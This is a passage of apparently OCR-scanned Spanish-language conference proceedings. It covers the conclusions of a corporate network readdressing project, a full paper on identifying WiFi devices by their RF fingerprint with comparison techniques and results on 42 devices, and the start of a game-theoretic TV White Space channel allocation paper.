implementado en su entorno real, es decir, en la red fisica de
Cosentino. Recordemos que los objetivos de proyecto
consistian en la resolucion de los problemas y debilidades
detectados en la etapa inicial del proyecto. El grado de éxito
alcanzado en cada uno de ellos ha sido el siguiente:

1) Uso de direccionamiento publico en la red interna. Este
problema queda totalmente resuelto puesto que, con la
cooperacién del departamento de Automatica Industrial, los
dispositivos configurados con direcciones IP publicas han
sido migrados a una VLAN de nivel 3 creada al efecto
dentro del rango reservado para direccionamiento interno
clase A (10.0.0.0/8).

2) Incorrecto criterio de asignacién de numeros de red.
Este problema queda totalmente resuelto puesto que la
nueva politica de direccionamiento y el plan de numeracion
que la concreta fijan un criterio consistente que permite
numerar la red actual y la que se despliegue en el futuro.

3) y 4) Agotamiento del espacio de direcciones en sedes
remotas y red WiFi de poligono de Cantoria. Ambos
problemas quedan totalmente resueltos puesto que el nuevo
plan de direccionamiento provee prefijos de red con
suficiente espacio de direccionamiento para las necesidades
actuales y futuras.

5) Fragmentacion del espacio de direccionamiento. En este
Gltimo problema solo se alcanza una resolucion parcial. El
gran esfuerzo de re-numeracion llevado a cabo permite
“compactar” el espacio de direccionamiento gracias al
disefio de bloques de direcciones consecutivas asignados
por zonas geograficas. Sin embargo, aunque el alivio
logrado es considerable, la solucién total no es alcanzable
debido a las restricciones de proyecto que limitan la seccion
de red susceptible de ser re-numerada.

Més alld de los objetivos alcanzados, seguidamente se
esbozan una serie de mejoras futuras que pueden aplicarse en
la busqueda de la excelencia operativa de la red corporativa
de Cosentino. Estas lineas de trabajo futuro son tres
principales:

a) Mejoras en la interconexién de data centers: Para ello se
propone la instalacién de routers e interfaces virtuales
adicionales que provean redundancia fisica y ldgica
respecto de la conectividad VPN. Con esta mejora se
conseguira mantener la red operativa de forma transparente
en caso de fallo en alguno de los mencionados dispositivos
y/o interfaces.
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b) Mejoras en la eficiencia del enrutamiento: La re-
numeracion realizada permite realizar una abstraccién de la
informacion de enrutamiento muy potente. Se podran
disefar distintos dominios de enrutamiento independientes y
también podran aplicarse técnicas de agregacion de rutas
propagando solo resimenes de ruta entre los distintos
dominios de enrutamiento. Esta medida acarreard una
mejora considerable del funcionamiento de la red a nivel
global.

¢) Mejoras en la red WiFi del poligono de Cantoria: La
segmentacion de la red inalambrica original en dos redes
independientes (Fabrica, para el area de producciéon y
almacenamiento, y Cosentino, para la zona de oficinas)
permitira distinguir dos grandes grupos de dispositivos con
requerimientos de conectividad bien diferenciados. Esta
division permitira aplicar politicas de control de acceso
diferenciadas asi como posibilitara incrementar el nivel de
seguridad al maximo soportado por los dispositivos
conectados a cada una de dichas redes.
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Resumen—Este documento propone el uso de la huella RF de
los dispositivos para la identificacion de estos en redes
inaldmbricas. Tal procedimiento consiste en extraer la huella
RF del dispositivo y compararla con las existentes en una base
de datos con huellas de diferentes equipos, de modo que tras
aplicar diferentes técnicas de comparacion entre huellas sea
posible determinar la identidad del dispositivo concreto. En este
trabajo se comentaran los resultados hallados con diversas

técnicas de comparacion. También se expondran varias

aplicaciones y vias futuras asociadas a esta investigacion.
Palabras clave—RF Fingerprint, huella RF, redes

inalambricas, identificacion de dispositivos, PLS, PCA,

correlacién, seguridad.

I. INTRODUCCION

OS dultimo avances tecnoldgicos han provocado un gran

desarrollo de las comunicaciones inaldmbricas. Como
consecuencia han surgido diversos sistemas o tecnologias
inaldmbricas cada vez més asequibles y accesibles a los
usuarios ofreciendo grandes ventajas frente a los sistemas
cableados. Pero a diferencia de los sistemas tradicionales de
cableado, las redes inaldmbricas hacen uso de un medio de
propagacién compartido y facilmente accesible. Por tanto,
este tipo de redes son mas propensas a sufrir interferencias o
amenazas de seguridad como pueden ser la intercepcion de la
informacion, suplantacion de la identidad de las entidades de
la red, saturacién de la red y/o corte de servicio, etc.

Muchos de los ataqgues 0 amenazas anteriormente
comentados pueden ser prevenidos o tratados con una
correcta identificacion de los dispositivos presentes en la red.
Por ejemplo, los dispositivos sospechosos o detectados como
maliciosos pueden ser incluidos en una lista negra que
permita controlar, mitigar o prevenir los efectos ocasionados
por tales dispositivos. Aunque ya existe una identificacion a
nivel MAC (Control de Acceso al Medio), esta puede ser
facilmente suplantada. En este contexto cobra mayor
relevancia la identificacion de dispositivos en la capa fisica
basada en las caracteristicas fisicas en la transmisién de los
propios dispositivos.

Al proceso para identificar los dispositivos en una red
inaldmbrica a través del analisis de las caracteristicas de su
sefial RF al comienzo de la transmision se le conoce como
huella RF o RF fingerprinting. A través de las caracteristicas
de las sefiales RF se pueden definir los pardmetros que
permitan la identificacion del dispositivo transmisor, dado
que estas sefiales dependen de muy diversos factores que

contribuyen a que sean Unicas, como por ejemplo: proceso de
fabricacion (variacion de la frecuencia del oscilador...),
factores ambientales (temperatura, humedad...), fatiga o
agotamiento del sistema transmisor, software controlador...

El sistema que se propone en este documento estad basado
en obtener la huella RF a partir de la potencia recibida del
dispositivo que se quiere identificar. Como la raiz cuadrada
de la envolvente de la sefal recibida es proporcional a la
sefial recibida, analizando la potencia recibida en funcion del
tiempo se pueden apreciar rasgos caracteristicos que permitan
la identificacion del dispositivo. La potencia medida es la
relacionada con la sefial que emiten los dispositivos cuando
analizan el medio en busca de redes, dado que siempre es la
misma. Ademas esta sefial se repite periédicamente aunque
se esté conectado a la red.

Este sistema no es un método final que garantice una
seguridad absoluta en la red, sino un procedimiento que junto
a otros mecanismos de seguridad ya existentes pueda mejorar
la seguridad de las redes inaldmbricas. Este trabajo no esta
centrado en la implementacion final de un sistema, sino en el
andlisis de las posibilidades y limitaciones del propio sistema
para comprobar su viabilidad y fiabilidad. Se pretende
ofrecer al lector una vision de esta tecnologia de futuro
comentando sus aspectos positivos y negativos.

Este documento se va a dividir en diferentes secciones. En
la seccion Il se analizaran los objetivos propuestos en este
estudio y la metodologia llevada a cabo para alcanzarlos. En
la tercera seccion se presentaran y evaluaran los resultados
obtenidos. Después, en la seccion IV, se proponen varios
escenarios de aplicacién del sistema de identificacion
estudiada. En la seccion V se exponen algunas vias de futuro
para continuar y completar este trabajo. Y por ultimo una
seccion dedicada a las conclusiones mas importantes.

Il. OBJETIVOS Y METODOLOGIA

En este apartado se van a concretar los objetivos que se
desean alcanzar con esta investigacion. Ademas se explicaran
los métodos y procesos empleados para la obtencion de los
resultados que permitan alcanzar los objetivos fijados.

A. Anélisis de Objetivos

El principal objetivo de la investigacion asociada a este
documento es proponer un sistema de identificacion de
dispositivos WiFi en red basado en su huella RF.

Debido a la imposibilidad de implementacion del sistema
en un entorno real, se ha optado por extraer las huellas RF de
los dispositivos y constituir una base de datos en MATLAB.
Con esa base de datos se ha simulado el comportamiento del
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sistema de identificacion con diversas técnicas de
comparacion y se ha efectuado un andlisis del sistema. La
finalidad del analisis era determinar las ventajas e
inconvenientes de cada una de las técnicas de comparacion de
sefiales usadas. Adicionalmente se ha profundizado en el
funcionamiento y fiabilidad del sistema, pudiendo detectar
varias deficiencias del sistema que se dejan indicadas y se
propone su superacion en investigaciones futuras, y también
algunas propiedades positivas que eran desconocidas.

B. Escenario Experimental

Para obtener las huellas RF de los dispositivos y
descargarlas en el PC para trabajar con ellas, se ha hecho uso
del despliegue de la Fig 1. Compuesto por el analizador de
espectros de R&S al que se conecta una antena monopolo
centrada en 2.4GHz y el dispositivo de prueba.

Dispositivo Prueba

FS3200

Receptor
(Antena Monopolo centrada
en 2.4GHz)

Fig 1. Escenario Experimental para la extraccion de la huella RF.

En este caso el analizador de espectros debe de configurarse
como analizador en el tiempo, haciendo uso de la opcion
‘zero-span’. Dicha opcion implica una contraccion del
espectro de frecuencia y una expansién en el tiempo,
resultando un analizador temporal de envolvente de sefiales.

C. Capturay Normalizacion de la Huella RF

Con la ayuda del montaje anterior es posible extraer la
huella RF de los dispositivos y trabajar con ella en
MATLAB. Tal procedimiento consta de los siguientes pasos:

1. Visualizacién en el PC receptor de la sefial recogida
por la antena.

2. Iniciar la basqueda de redes en el dispositivo prueba.

3. Al instante se visualizardn los picos de potencia
correspondientes a la sefial emitida por el dispositivo
prueba que constituyen la huella RF. Justo en ese
instante se debe de pausar el barrido y descargar las
muestras.

Tras este proceso la sefial capturada nunca empezara en el
mismo instante y por tanto su comparacion no sera del todo
efectiva. Para que todas las sefiales empiecen en el mismo
instante deberan de ser normalizadas, para ello se representa
la sefial en MATLAB vy se fija un umbral. La primera vez que
se sobrepase el umbral serd la primera muestra de dicha
huella RF y los valores anteriores se agregaran al final como
ruido.

De este modo se emula el comportamiento del detector en
una implementacion real. Dicho detector empezara a
muestrear la potencia recibida cuando se sobrepase un valor
umbral fijado. En las siguientes figuras se muestran la
diferencia entre las huellas RF antes y después de ser
normalizadas.
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Fig 2. Dos muestras de huellas RF sin normalizar (dispositivos
diferentes).
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Fig 3. Dos muestras de huellas RF normalizadas (dispositivos diferentes).

Las diferencias entre las huellas RF apreciables en la Fig.8,
se pueden usar para identificar al dispositivo. El problema es
que al aumentar el nimero de dispositivos inevitablemente
existiran huellas RF muy similares y se cometeran fallos en la
identificacion.

Otro dato relevante es que los principales patrones de la
huella. RF son repetitivos, sino seria imposible su
identificacion con este método. Por eso, aunque la sefial
recibida nunca sera totalmente igual en las 17 veces que se
obtiene, si sera muy similar. La duracion de las huellas se ha
fijado en 1 segundo.

D. Técnicas de ldentificacion

Tras normalizar las huellas obtenidas, estas se constituyen
en una base de datos. La combinacion de dicha base de datos
y las técnicas de comparacion de huellas permite extraer la
huella de la BD mas similar a una huella prueba (no existente
en la BD). De modo que es posible asumir que el propietario
de la huella prueba es el propietario de la huella extraida de la
BD. Las técnicas empleadas son:

- Distancia entre sefiales:

d(hprueba' hi) = Z|hprueba(n) —h; (n)l €Y

- Correlacién entre sefales:

N
1
T(hprueba’ hi) = NZ hprueba (Tl) ' hi(n) (2)
n=1
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Para poder efectuar la comparacién entre las huellas se
debe de emplear la correlacién normalizada:

r(h h;
p(hprueba, hi) = 1 ( prueba 1)
N \/211;1:1 hprueba n)?z- 25:1 h; (n)?

De este modo se obtiene un valor entre [-1,1]. Cuando
p=1 las sefales seran iguales, mientras que si p=-1 las
sefiales se encuentran fuera de fase. Por tanto la huella que
ofrezca una correlacion normalizada mas cercana a 1 serd la
que se extraiga de la BD.

- Simplificacién de media:

Se trata de reducir el nimero de sefiales existentes en la
BD. Es decir, si existen 17 huellas por cada dispositivo en
la BD, estas se sustituyen por una sola huella que es la
media de todas las anteriores. De modo que se habria
pasado de 17 huellas por dispositivo a una sola huella por
dispositivo. Reduciendo considerablemente el tamafio de la
BD. Esta simplificacion se aplica combinada con las
técnicas anteriores.

- PCA (Principal Components Analysis) y PLS (Partial
Least Squares):

Consiste en realizar un cambio de base para que la
informacién més relevante de las sefiales se encuentre en
las primeras muestras. Con su uso se pretende reducir el
namero de muestras de las huellas maximizando la
diferencia entre huellas.

El método PCA es no supervisado dado que no hace uso
de ninguna estructura previa y trata de encontrar el
subespacio que maximiza la varianza del conjunto de
huellas. Mientras que PLS es un método supervisado
porque intenta adaptarse lo mejor posible a un patrén dado,
es decir, su objetivo es maximizar la diferencia entre las
huellas siguiendo un patron determinado (por ejemplo
maximizar la diferencia entre huellas del dispositivos
distintos).

3

I1l.  ANALISIS DE LOS RESULTADOS

Para llevar a cabo esta investigacién se han empleado 42
dispositivos compatibles con la tecnologia WiFi. Tras extraer
17 huellas de cada uno de ellos se ha constituido una BD, el
proceso seguido ha consistido en extraer una huella (huella
prueba) y aplicar las técnicas de comparacién de sefiales con
el resto de huellas de la BD. Cabe destacar que en el conjunto
de dispositivos, se han considerado dos idénticos por
fabricante cuando fue posible. Los resultados obtenidos son:

TABLA
RESUMEN DE LOS RESULTADOS OBTENIDOS

Técnica Prob. Prob. Prob. Prob.
Comparacion Ident. Ident. Ident. Ident.
Dispositivos  Modelo  Fabricante Tipo
Distancia sin 68,49% 70.58% 77,59% 94,60%
simplificacién
Distancia con 65,13% 78.67% 74,93% 90,06%
simplificacién
Correlacion sin 69,75% 70.95% 82,77% 98,18%
simplificacion
Correlacion con 70,73% 72.80% 82,21% 97,25%
simplificacion
Distancia mas 70,59% 72.86% 79,55% 97,78%
PCA
Distancia mas 74,51% 77.20% 83,33% 98,04%
PLS
Correlacion méas 72,00% 77.20% 82,21% 98,18%
PCA
Correlacion mas 71,85% 78.67% 82,21% 98,20%
PLS
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A continuacién de comentan los resultados obtenidos en
cada uno de los casos estudiados: identificacion del
dispositivo concreto, del modelo del dispositivo, del
fabricante del dispositivo, del tipo de dispositivo y otras
pruebas efectuadas.

A. Identificacién del dispositivo concreto

El primer caso de estudio es el mas extremo dado que lo
que se pretende es determinar la identidad del dispositivo
concreto al que pertenece la huella prueba. La probabilidad
de acierto total en la mayoria de las técnicas utilizadas es del
70% de éxito tras la identificacion. EI método de la distancia
con simplificacion de media es el que peores resultados
presenta, esto se debe principalmente a la pérdida de
informacion tras la simplificacion con media.

El algoritmo de comparacion basado en distancia con
reduccion PLS es que mejor probabilidad de éxito ha
ofrecido (74,51%). Las probabilidades de acierto de las
técnicas PCA y PLS dependen en gran medida del conjunto
total de huellas y del nimero de componentes usado. Luego
es posible que para otro conjunto de dispositivos y un nimero
de componentes distinto la probabilidad de acierto maxima se
obtenga con otra técnica de PLS o PCA.

Para este trabajo se han considerado 25 componentes en las
técnicas de reduccion (PLS y PCA) como solucion de
compromiso entre el tiempo de procesamiento (aumenta
cuando crece el nimero de componentes) e informacion
recogida en dichas componentes.

Este caso ademas de ser es el més extremo es el mas
interesante ya que es el mas atil de todos. Aunque la
probabilidad media de acierto se encuentra aproximadamente
en el 75% no todos los dispositivos se identifican con la
misma facilidad.

o Probabilidad de acierto superior al 90% en el 40% de
los casos.

o Probabilidad de acierto inferior al 50% en el 28.5% de
los dispositivos.

e Probabilidad de acierto del 70% para el resto de
dispositivos.

M Prob >90%
H Prob <50%
B 50%<Prob<90%

Fig 4. Distribucion de probabilidades de acierto considerando el conjunto.

Las probabilidades bajas son debidas en gran parte a la
similitud de las huellas de dispositivos dentro de un mismo
modelo, fabricante o fabricante del sistema RF. Es decir, en
algunos casos la huella entre dos dispositivos es tan similar
que son practicamente iguales y por tanto los errores
cometidos son elevados. Esto no es una generalidad, dado
que un alto indice de dispositivos del mismo modelo que son
identificados muy fiablemente.
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Fig 5. Dos dispositivos distintos con huellas RF muy similares.

B. Identificacion de dispositivos del mismo modelo

La segunda situacion analizada es el nivel de éxito al
identificar un dispositivo concreto cuando se tienen varios
dispositivos del mismo modelo. Ahora la probabilidad
aumenta con respecto al caso anterior, siendo la técnica de
distancia con simplificacion de media la que mejor resultado
muestra. Esto indica que la huella media de los dispositivos
puede ser mas representativa a la hora de diferenciar
dispositivos del mismo modelo.

Por otro lado, los resultados con las técnicas PCA y PLS no
son tan representativos ahora ya que estos dependen del
conjunto total de dispositivos usados. Esto quiere decir que
en ocasiones (para determinados terminales) se ha obtenido
una probabilidad de error menor con el total de 42
dispositivos que con sélo dispositivos del mismo modelo.

Para realizar este estudio s6lo se han considerado
dispositivos de un mismo modelo y concretamente el estudio
ha estado compuesto por 16 dispositivos distintos de 8
modelos diferentes. Para el mejor caso posible se ha
obtenido:

¢ Dos modelos (4 dispositivos) con un 100% de éxito.

e Tres modelos (6 dispositivos) con mas de un 75% de
acierto.

e Tres modelos (6 dispositivos) con més de un 50% de
acierto.

Por tanto para estos Ultimos 6 dispositivos se tiene una
fuente de error muy importante debido a dispositivos del
mismo modelo. En la mayoria de los casos se supera el 50%
de probabilidad de acierto al azar.

M Prob=100%
W 75%<Prob<100%

W 50%>Prob<75%

Fig 6. Distribucion de probabilidades de acierto s6lo con dispositivos del
mismo modelo.

C. ldentificacion de dispositivos del mismo fabricante y tipo

También puede resultar interesante la posibilidad de poder
averiguar el fabricante de un dispositivo mediante su huella
RF. En este caso la probabilidad media de todas las técnicas
se encuentra alrededor del 80% de acierto. Esto quiere decir

que mas de un tercio de los errores de identificacion son
debidos a la confusidn con dispositivos del mismo fabricante.
De nuevo no todos los fabricantes son igual de validos para
aplicar el sistema de identificaciéon, para la técnica con
mejores resultados se tiene que:
o El 28.5% de los fabricantes presenta una probabilidad
del 100%.
o El 33.5% ofrece una probabilidad comprendida entre el
75% y el 100%.
o EI 28% entre el 50% y el 75%.
o EI 10% una probabilidad menor al 50%.
En total se han empleado 21 fabricantes diferentes.

B Prob=100%

B 75%<Prob<100%
W 50%>Prob<75%
M Prob<50%

Fig 7. Distribucién de probabilidades de acierto de fabricantes.

Por Gltimo, se ha estudiado la probabilidad de determinar
correctamente el tipo del dispositivo del que se trata
obteniendo en la mayoria de los casos una probabilidad de
acierto del 98% y por tanto unos resultados bastantes fiables.

D. Otras Pruebas Realizadas

Para finalizar con los resultados, se ha efectuado una serie
de pruebas para analizar situaciones o casos inicialmente no
consideradas, obteniendo las siguientes conclusiones:

1) Si el dispositivo acttia como punto de acceso su huella
RF no cambia y ademds se puede detectar
periddicamente por las estaciones base y comprobar la
identidad del AP.

2) Si cambia la direccidn MAC, que es el principal problema
del la identificacion con MAC, la huella RF no sufre
modificaciones y el dispositivos se sigue reconociendo
con la misma probabilidad de acierto.

3) Cuando se modifica el controlador o sistema operativo la
huella sufre variaciones (como se ve en la Fig.8) que
puede provocar errores de identificacion. También es
cierto que el cambio de la huella RF no es radical.
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IV. APLICACIONES

La posibilidad de determinar la identidad de un dispositivo
en la capa fisica, sin necesidad de que este se encuentre
dentro de la red da lugar a multitud de aplicaciones. Como
ejemplo se comentan algunas de las que pueden resultar mas
interesantes.

A. Redes Ad-hoc

En estas redes no hay una entidad o infraestructura que
haga de punto de acceso, sino que las estaciones se
comunican directamente entre si. Y por tanto, la aparicion de
un nodo malicioso en este tipo de redes puede ser critica,
sobretodo porque los protocolos de routing son muy
vulnerables. El sistema puede ser una gran herramienta para
la deteccion y aislamiento de estos nodos maliciosos.

Si se detecta que un dispositivo ha provocado un ataque,
este se incluye en una lista negra. Entonces el resto de nodos,
tras consultar dicha tabla, pueden identificarlo mediante su
huella RF y no encaminar paquetes hacia el nodo que ha
ocasionado el fallo de seguridad. ElI administrador de la red
deberia de fijar los pardmetros para que un nodo aparezca en
una lista negra.

Otra posible solucién, es configurar los nodos para que
Gnicamente se comuniquen con un conjunto cerrado de
dispositivos. La aparicién de un nuevo dispositivo en la red
provocara un fallo de identificacién y no podra formar parte
de la red. De este modo se aisla la red frente a la aparicion de
futuros nodos sospechosos.

En general, se puede emplear como herramienta de
seguridad en situaciones en las que sea necesario determinar
la identidad de los dispositivos sospechosos.

B. Operador Inalambrico

En la actualidad existen multitud de pequefios operadores
que dan servicio de Internet a los clientes de forma
inaldmbrica con tecnologia WiIMAX o WiFi. En algunos
casos el sistema esta compuesto por un modem y un router, y
la MAC de dicho router es la que limita el acceso. Ademas,
estas redes no tienen ningln sistema de seguridad WEP,
WPA o WPAZ2 por lo que cambiando la direccion MAC por
la de un router de acceso a la red se puede acceder sin
problemas y tener servicio de Internet. En este tipo de redes,
nuestro sistema puede ayudar a corroborar que las
direcciones MAC son las correctas mediante la
comprobacion de la huella RF de los dispositivos o a través
de la identificacion del modem. De este modo se evitaran
accesos no deseados.

Esta aplicacién se puede extender a cualquier red cuyo
acceso se encuentre limitado por un filtrado MAC,
garantizando que dicho filtrado sea mucho mas fiable.

V. VIiAs FUTURAS

La identificacion mediante la huella RF es una tecnologia
novedosa y en desarrollo. Luego hay mucho trabajo aun por
realizar y concretamente en este sistema ain hay muchos
aspectos interesantes y mejoras que deben ser tratados para
que el sistema sea mas eficaz. A continuacién se comentan
algunas de las vias futuras de investigacion relacionadas con

el sistema propuesto.
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A. Aplicacién a otras tecnologias

Una buena forma de continuar la linea propuesta en este
documento seria comprobar la posibilidad y eficacia de este
sistema de identificacién en otras tecnologias inalambricas,
como por ejemplo: Bluetooth, Zigbee, WiMAX, entre otras.
A modo ilustrativo se han capturado la huella RF de dos
dispositivos Bluetooth y existe una diferencia importante
entre ambas que parece indicar que este sistema es

extrapolable a dicha tecnologia.

Dispositivo A
DispositivoB |
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Fig 9. Comparativa huellas RF Bluetooth.

B. Posibles mejoras

Otro campo de interés puede ser el estudio de técnicas de
comparacion de sefiales que permitan obtener probabilidades
de identificacion ain mayores. Se proponen las siguientes
mejoras:

e Estudio del problema en el &mbito de la frecuencia.

e Incluir sistemas de peso a la hora de decidir la identidad
del propietario de la huella. Es decir, no tomar la decision
Unicamente en base a la huella que mas similitud
presente. Por ejemplo, considerar las 5 huellas més
cercanas a la huella test y tomar la decisién en base a la
identidad de dichas huellas.

Por diversos factores la huella de un dispositivo puede ser
cambiante, como por ejemplo un aumento de la
temperatura o la lluvia en entornos de exterior. Por este
motivo puede resultar interesante tener una base de datos
dinamica. Esto es, que la base de datos se actualice
automaticamente dandole un determinado peso a las
Gltimas muestras capturadas. Si se le da demasiado peso,
una mala identificacion puede dejar inservible nuestra
base de datos.

El conjunto de dispositivos de una red es algo dinamico y
que cambia con mucha frecuencia. Luego la situacion de
tener Unicamente los 42 dispositivos no se aproxima a la
realidad. Esto quiere decir que haria falta mecanismos
para determinar cuando un dispositivo es nuevo y poder
almacenar su huella en la base de datos existente.
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La antena empleada y las condiciones de captura de las
huellas no son las éptimas. Dado que la antena no ofrece
unas prestaciones demasiado elevadas y las medidas se
han realizado en la ETSIIT, donde hay un gran nimero de
usuarios haciendo uso de la red WiFi de la UGR y la
sefial capturada es propensa a sufrir interferencias. Se
podria emplear una antena mucho mas directiva y con
mayores prestaciones en un entorno aislado. Entonces los
resultados obtenidos serdn mejores. No obstante, el
proceso de captura efectuado se aproxima mas a una
situacion real.

Estudiar la dependencia de la huella RF con el sistema
operativo, controlador software y cambio de opciones de
configuracion para evitar o corregir fallos en el sistema de
identificacion.

¢ Reducir el tiempo de procesamiento tan elevado de las
técnicas de reduccibn PCA y PLS aumentaria las
prestaciones ofrecidas por nuestro sistema, dado que el
tiempo de espera actual es inadmisible.

Otro aspecto que no ha sido tratado y que es muy
importante es la movilidad. Es decir, como afecta la
localizacion y movimiento relativo de los dispositivos a la
huella capturada por el punto de acceso. Hoy en dia la
mayoria de las redes inalambricas se caracterizan por
permitir cierta movilidad dentro del alcance de la red.
Luego no seria apropiado que nuestro sistema dejard de
ser fiable cuando cambia la localizacidn del dispositivo.

VI. CONCLUSIONES

El objetivo de este trabajo era proponer un sistema de
identificacion para dispositivos en una red WiFi basada en el
estudio de sefiales de RF. La propuesta se ha realizado
siguiendo los pasos descritos a continuacion.

Inicialmente se puso de manifiesto la necesidad de la
identificacion de los dispositivos en la capa fisica. Y como
solucién a dicho problema se plante6 el uso de la huella RF.

Después se hizo un estudio de la situacion de esta
tecnologia que destaca por ser algo novedoso y poco
desarrollado.

El sistema concreto consiste en definir la huella RF como el
nivel de potencia recibido en el tiempo por el dispositivo a
identificar. Las huellas han sido capturadas para formar una
base de datos que permita la clasificacién de los dispositivos.

Se han aplicado diversas técnicas de comparacion de
sefiales para identificar los dispositivos. Obteniendo una
probabilidad aproximada de acierto del 70% y que varia en
funcion de la técnica empleada. Para la obtencion de estos
resultados se ha hecho uso de un conjunto de 42 dispositivos.

Aungue el sistema no es extremadamente fiable, se produce
una mejora muy elevada desde un 2.381% a un 70%.

También se ha analizado el rendimiento del sistema a la
hora de reconocer correctamente al fabricante y tipo de los
dispositivos. Siendo muy significativo que en el 98% de los
casos el tipo de dispositivo es determinado con éxito.

Tras estudiar el comportamiento del sistema se han
efectuado diversas pruebas con algunos resultados positivos y
otros negativos. Por ejemplo se ha probado la invariabilidad

de la huella RF al cambiar la direccion MAC y la
dependencia de la huella frente al controlador o sistema
operativo que gestiona al dispositivo.
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Resumen— Uno de los retos para dar cabida al gran volumen
de trafico de datos méviles que se prevé en los préximos afios es
mejorar la eficiencia de wuso actual del espectro
electromagnético. Entre las opciones para alcanzar dicho
objetivo esta aprovechar las bandas de frecuencia que se
encuentran sin usar en el espacio destinado a las emisiones de
TV, para que puedan ser usadas por usuarios sin licencia. Dicha
técnica es conocida como TV White Space (TVWS). El
funcionamiento de pequefias celdas usando canales TVWS sin
licencia alguna representa un desafio de coexistencia debido a su
despliegue no planificado, sus tecnologias de transmision
heterogéneas, y la escasez de canales TVWS en ciudades muy
pobladas. Para gestionar el uso de estas bandas de frecuencia
disponibles desarrollamos un algoritmo de planificacion de
canales, el cual pretende maximizar tanto el rendimiento global
de la red como el rendimiento individual de cada uno de los
nodos, de manera que se minimice la interferencia producida
entre ellos. Ademas se tendrd en cuenta la posible interferencia
producida por estaciones de TV primarias y se intentaran
solucionar los problemas de justicia observados cuando dicha
interferencia se recibe en los usuarios finales con un nivel de
potencia considerable. Para conseguir tales objetivos se propone
afrontar el problema mediante el uso de la teoria de juegos,
desarrollando una funcion potencial exacta que capte nuestros
objetivos, de manera que el sistema alcance un punto de
equilibrio 6ptimo llamado equilibrio de Nash.

Palabras clave— Asignacion de espectro, eficiencia uso de
espectro, interferencia electromagnética, teoria de juegos, TV
White Space.

I. INTRODUCCION

EGUN estudios realizados, se prevé un gran aumento en el

volumen de tréfico de las comunicaciones moviles en los
préximos afios. Cada vez es mayor el nimero de usuarios con
dispositivos moviles de altas prestaciones, a la vez que
aumenta el volumen de trafico generado por cada uno de
ellos [1]. Para poder dar soporte a tal crecimiento se debera
aumentar la cantidad de espectro electromagnético
disponible, en lo cual se esta trabajando a nivel global para
establecer el uso de nuevas bandas de frecuencias destinadas
a las comunicaciones moviles, asi como conseguir una
mejora de la eficiencia de uso del espectro y un aumento de
estaciones base. En la actualidad, en la gran mayoria de
paises, las redes y aplicaciones inalambricas estan reguladas

mediante una politica de asignacién de espectro fija: El
espectro esta regulado por el Estado, que administra y asigna
la utilizacion de las diferentes bandas de frecuencia a
distintas empresas, usuarios y/o servicios mediante
autorizacion, permiso o licencia a largo plazo en amplias
regiones geograficas. El espectro es un recurso escaso donde
cada vez es més dificil encontrar bandas libres para el
despliegue de nuevos sistemas, especialmente en las bandas
por debajo de los 3 GHz, particularmente valiosas para los
sistemas inalambricos debido a sus favorables caracteristicas
de propagacion. Sin embargo, estudios recientes llevados a
cabo por la FCC (Federal Communications Commission de
EEUU) han demostrado que gran parte del espectro
licenciado asignado esta infrautilizado, observandose grandes
variaciones temporales y geogréficas en su uso, con rangos
de utilizacion desde el 15% al 85% [2]. Ademés, medidas
recientes de utilizacién de espectro muestran que mientras
ciertas partes son altamente utilizadas, otras permanecen
practicamente sin usar, incluso por debajo de los 3GHz. Con
el objetivo de aumentar la eficiencia en la utilizacion del
espectro disponible, la FCC propuso la apertura de ciertas
bandas de frecuencia asignadas a television, para que puedan
ser aprovechadas por usuarios no licenciados denominados
Usuarios Secundarios. Dichas bandas corresponden a canales
no utilizados en determinadas zonas del territorio llamadas
TV White Spaces (TVWS). Varios paises como EEUU o
Reino unido han optado por hacer uso de esta técnica y
actualmente se est4d estudiando la posibilidad de
implementarla en el resto de paises de la Unidn Europea. Es
de esperar entonces que el uso de TVWS mejore en gran
medida la eficiencia de uso del espectro electromagnético en
la banda de TV, ya que se haria un aprovechamiento por
parte de usuarios sin licencia de todas las frecuencias que se
encuentran sin usar en cada punto concreto del territorio.

Por otro lado, al tratarse de un uso sin licencia cualquier
nodo secundario podria emitir en el mismo canal que nodos
vecinos, causando graves interferencias que podrian hacer
que cayera drasticamente el rendimiento de todos ellos.
Debido a esta razon es de esperar que debamos afiadir un
sistema de asignacion de espectro en este tipo de redes de
manera que la interferencia provocada entre ellos disminuya
lo maximo posible. En la actualidad este problema se intenta
abordar de diferentes maneras, desde la creacion de grandes
bases de datos donde se almacena informacion referente a los
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parametros de transmision que podrian usar los nodos
secundarios (tales como frecuencia, potencia, esquema de
modulacion...) en funcién de su localizacion, tal y como se
muestra en [3], hasta la ejecucion de algoritmos de
asignacién de espectro que basandose en técnicas de escaneo
de su propio entorno son capaces de decidir qué canal o
canales usar en los distintos nodos.

Varios investigadores han estudiado este problema de
coexistencia en TVWS y han propuesto diferentes
algoritmos. En [4], Jankuloska propuso un algoritmo de
asignacion de canales y potencia de manera conjunta para los
sistemas Wi-Fi operando en modo TVWS. Su solucién se
basa en la teoria de juegos y equilibrio de Nash, y su objetivo
es maximizar el namero de usuarios soportados. En [5], Ye
expresd la coexistencia en TVWS como un problema de
minimizacién de la interferencia total. En [6], Peng propuso
reducir el problema de asignacién de espectro mediante una
variante de un problema de grafos de colores. Sin embargo,
las soluciones basadas en grafos de colores estdn optimizadas
para una topologia fija, y necesitan ser actualizadas con cada
cambio en la topologia. En [7], Cao propuso un enfoque
distribuido para la asignacién del espectro en redes con
cambios frecuentes en su topologia, como las redes ad hoc
moviles. Los mismos autores profundizaron en las
arquitecturas de gestion de espectro distribuidas en [8], [9].
Aunque las soluciones en [7] - [9] son interesantes, en ellas
se supone un modelo de interferencia simplista en el que la
interferencia es modelada mediante una métrica binaria
geométrica. En [10], se define el algoritmo SSCD cuyo
objetivo es maximizar el throughput global de la red, basando
su solucion en la teoria de juegos alcanzando el equilibrio de
Nash.

Se observé que los distintos algoritmos aqui mencionados
tienen la peculiaridad de que la asignacion de canales
realizada con la finalidad de alcanzar sus objetivos hace que
pueda existir una gran diferencia entre las capacidades
ofrecidas por nodos vecinos de iguales caracteristicas,
haciendo que la asignacion de canales realizada no sea justa.
En este documento el término de “justicia” hace referencia a
la igualdad entre el rendimiento ofrecido por nodos de
caracteristicas similares, y condiciones en su entorno muy
parecidas debido a su cercania. El hecho de tener en cuenta la
justicia en este tipo de redes se debe a que en principio, al
tratarse de nodos practicamente idénticos, no deberia existir
ningun nodo preferente sobre otro. Por lo tanto la diferencia
entre las capacidades ofrecidas por cada grupo de nodos
situados en una vecindad cercana deberia ser muy similar. En
casos extremos en lo que existen altos niveles de ruido
primario se ha llegado a observar que algunos algoritmos de
asignacion de canales, como puede ser el caso de SSCD,
tienden a anular uno o varios nodos asignandole canales con
